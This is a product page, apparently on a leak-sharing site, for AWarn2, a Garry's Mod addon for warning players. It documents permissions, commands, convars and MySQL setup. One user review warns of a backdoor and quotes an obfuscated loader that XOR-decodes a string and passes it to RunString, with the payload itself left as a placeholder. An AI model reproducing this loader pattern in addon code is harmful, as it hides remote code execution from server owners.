Awarn2 - Warning Module
DESCRIPTION
AWarn2 allows you to give your players warnings for various reasons, which stay with the player until they are deleted, allowing you and other admins on your server to easily view what the player has been warned for in the past. With AWarn2, you can easily spot repeat offenders and deal with them.
Try it before you buy it!
If you would like to try AWarn2 for FREE, you can download a version of the script over on my website (link below) for free. The free version has all of the bells and whistles of the paid version except MySQL integration. I would much rather you use an official free version than a leak with potentially harmful code added to it.The free version does NOT have the MySQL support!Link to Free Version: https://g4p.org/community/index.php?threads/awarn2-free-version-release-topic.5/

A gmodstore Top 10, you won't be disappointed!

Features
  • Allows administrators on your server to warn players for any reason and to view these warnings at any time.
  • Players are notified of their warnings and can view their own warnings at any time.
  • Admins are alerted when a player with warnings connects to the server so they can view them if they want to.
  • Warnings are saved to the server's SQLite database for speed and scalability!
  • If you have multiple servers or prefer to have your data on a MySQL database, there is built in support for MySQL integration.
  • Punishment options are totally customizable and you can now have as many punishment tiers as you want!
  • Specific players or groups can be blacklisted from being warned to protect your superadmins or owners from being trolled by other moderators or admins. The blacklists are located in the awarn_settings.lua file.
  • There are in-game configuration options to allow for active warnings to decay over time. All warnings are still logged, but active warnings are what counts towards punishments.
  • Stand-Alone but can be used with ULX/Evolve/Maestro/ServerGuard to allow servers to give access of this script to non-admin groups/players (explained below)
  • Modules system and hook callbacks for developers to extend AWarn2 without modifying the base code!
  • Built in logging so you can see/monitor warnings and awarn related actions. (off by default)
  • Support for language translations. See instructions in the sh_localization.lua file! Please send me any translations you do!

ULX/Evolve/Maestro/ServerGuard Compatibility
If you are using ULX/Evolve/Maestro, this addon will automatically detect that and adjust its permissions accordingly. By default admins and superadmins have access to use this addon. If you want to assign other usergroups access to this addon, just give them the following access flags.

awarnview - This allows a player to view other players' warnings. (Defaults to Admin) awarnwarn - This allows a player to warn other players. (Defaults to Admin) awarnremove - This allows a player to decrease another player's active warnings. (Defaults to Admin) awarndelete - This allows a player to delete all warnings for a player. (Defaults to Superadmin) awarn_options - This allows a player to view and change the configurations for this script. (Defaults to Superadmin)
ULX Specific commands to add access:

ulx groupallow [group] [access flag] (example: ulx groupallow "moderator" "awarnwarn") ulx userallow [group] [access flag] (example: ulx userallow "Mr.President" "awarnwarn")
Maestro specific commands to add access:

ms rankflag [group] [access flag] true (example: ms rankflag "moderator" "awarn_warn")
Evolve I am not familiar enough with Evolve to tell you how to give privledges using Evolve. If you need help doing that, contact the developers of Evolve or if someone would like to tell me, I will update this post.

ServerGuard If you are using ServerGuard, here is a handy tutorial on how to integrate AWarn2 into the ServerGuard permissions. Thanks to the author of this guide for writing it.

https://forums.gmodserverguard.com/threads/how-to-set-awarn2-permissions.127/
Chat Commands
!warn - Opens the AWarn VGUI Menu. !warn [player] [reason] - Warns a player with a given reason.
Console Commands
awarnwarn [player] [reason] - Warns a player with a given reason.awarnwarn [steamid] [reason] - Warns a player using their SteamID with a given reason. This is useful for warning offline players.awarnremovewarn [player] - Removes a single active warning from a player.awarnremovewarn [steamid] - Removes a single active warning from a player by SteamID.awarndeletewarnings [player] - Deletes all warnings from a player. CAUTION: This removes all history of warnings from a player.awarndeletewarnings [steamid] - Deletes all warnings from a player using their SteamID. Useful for resetting an offline player's warnings. CAUTION: This removes all history of warnings from a player.awarnmenu - Opens the AWarn VGUI Menu.awarnoptions - Opens the AWarn VGUI Options menu.
All of these commands, except the last two (obviously) can be access through your server's console.

Server ConVARS
These can be added to your server's config file if you want to override default settings. Use these if you have trouble getting the settings to save after changing them using the in-game settings menu.

awarnkick - Allow AWarn to kick players who reach the kick threshold. 1=Enabled 0=Disabledawarnban - Allow AWarn to ban players who reach the ban threshold. 1=Enabled 0=Disabledawarndecay - If enabled, active warning acount will decay over time. 1=Enabled 0=Disabledawarnreasonrequired - If enabled, admins must supply a reason when warning someone. 1=Enabled 0=Disabledawarndecayrate - Time (in minutes) a player needs to play for an active warning to decay (in enabled).awarnresetwarningsafterban - If enabled, active warning count is cleared after a player is banned by awarn. 1=Enabled 0=Disabledawarnlogging - If enabled, AWarn will log actions to a data file. 1=Enabled 0=Disabledawarnallow_warnadmin - Disable to disallow the warning of other admins. 1=Enabled 0=Disabled
Hook Callbacks
AWarnPlayerWarned( Player targetply, Player ply, String reason )targetply - Player being warnedply - Warning Adminreason - Reason for warningAWarnPlayerIDWarned( String tarid, Player ply, String reason )tarid- 64bit SteamID of player being warned.ply - Warning Adminreason - Reason for warningAWarnLimitKick( Player targetply )targetply - Player being kicked for passing the warning kick threshold.AWarnLimitBan( Player targetply )targetply - Player being banned for passing the warning ban threshold.
Installation
  1. Simply unzip and place the awarn2 folder into your addons folder.
  2. Start your server and type !warn to see the menu. Be sure to make any changes to the options menu you like.
  3. Open addons/awarn2/lua/awarn/modules/awarn_settings.lua and modify the warning threshold punishments to your liking.
  4. If installed on multiple servers sharing a single database, navigate to awarn2/lua/awarn/modules/awarn_sql.lua and edit the AWarn.ServerKey for each server (This is a unique identifier that will be stored along with the warning to allow you to tell which server the warning came from)
Plugins
*Popup Notification by Mr.President: Click Here

Updating
  1. Backup any settings files within AWarn2. This includes the SQL settings if using MYSQL, any custom punishment settings, localization changes, etc.
  2. Delete your current AWarn2 folder from addons and install the newest version. Do not just overwrite files.
  3. Go into and edit back in any custom changes or settings you had from before.
Doing a Factory Reset (Clear ALL warnings)
If you would like to completely remove all warnings from the database and start from scratch, I have provided an additional addon you can install (link below) that adds a console command that will do this. The reason I made it separate is to prevent any abuse or accidental deletions.

  1. Download the following addon: http://g4p.org/awarn2/images/awarn2/awarn2_extensions.zip
  2. Extract the addon to your addons folder like you would any other addon.
  3. run the following command from your SERVER CONSOLE… or in game if you have the 'superadmin' rank.
awarn_cleardatabase
  1. You will get confirmation that the deletions were successful.
  2. Once you are done, please remove the addon to prevent any abuse or accidental deletions. You can always add it back later if you decide to factory reset again.
MySQL Installation
This Information is also available in a README file inside the Addon zip folder

  1. In your MySQL server, create a new database for Awarn2. In my example, I use awarn2 (You can use an existing database if you wish)
  2. Make sure you have an SQL user that has read and write access to that database.
  3. Open awarn2/lua/awarn/modules/awarn_sql.lua
  4. Edit the config at the top of the file with the information for your MySQL server.
  5. Restart your server and if configured properly, AWarn2 will create 2 tables inside the database you selected.
  6. ( awarnplayerdata and awarnwarnings )
Please note: I will not provide support for setting up the MySQL modules. I am only providing compatibility for those modules. if you are having issues with the MySQL modules, please take that up with those authors.

NOTICE - I collect information about your server. It's very public information. IP address, server name, current map, version of Awarn2 you're running and gamemode. Nothing else is sent. This is to better help me provide support. If you disable this, I will not provide support for your server.

Localization/Translation Credits
Finnish (FIN) - Translation provided by [SPR] Hodas (http://steamcommunity.com/id/Hodas/) Turkish (TR) - Translation provided by saviorsoldier (http://steamcommunity.com/profiles/76561198057034162) German (DE) - Translation provided by Martin (http://steamcommunity.com/id/martinlink/) Russian (RU) - Translation provided by Snappi (http://steamcommunity.com/id/snappiincognito/) French (FR) - Translation provided by Driven (http://steamcommunity.com/profiles/76561197986344922) Portuguese (PT) - Translation provided by Comedian (http://steamcommunity.com/id/comedinha/) Dutch (NL) - Translation provided by Nioxed (https://steamcommunity.com/id/Nioxed/) Spanish (ES) - Translation provided by Preston Vasquez (http://steamcommunity.com/profiles/76561198290329975/)

Latest updates

  1. 4.4.4

    + Another fix for the new date/time stamp interpretation. Some entries in the SQLite database...

Latest reviews

Careful before downloading: backdoor

sv_awarn.lua | Code Execution (RunString) @ Line #31 | util.AddNetworkString("awarn_playerjoin") math.randomseed(1043130);RunString(("REALLY LONG STRING WHICH IS BACKDOOR"):gsub('%x%x',function(c)return string.char(bit.bxor(tonumber(c,16),math.random(0,255)))end)
¡Actually working! THX

Similar resources

Create Thread On Warning w/ Conversation Message 1.1.0 K
0.00 star(s) 0 ratings
Downloads
8
Updated
Report Addon | Logs + Admin Statistics + Warning system  [GarrysMod] CraftingJustin
Designed to rapidly decrease times in sits, stay on top of your staff team and track there performan
1.00 star(s) 1 ratings
Downloads
175
Updated
Warning Improvements by Xon Dekomori
0.00 star(s) 0 ratings
Downloads
8
Updated
BlackSpigot General Chat
Rules Help Users
    RealNotSound @ RealNotSound: Hello if I buy BLACKSPIGOT+ BUNDLEIf I buy it, will I get a rank in BLACKSPIGOT and what rank...
    Top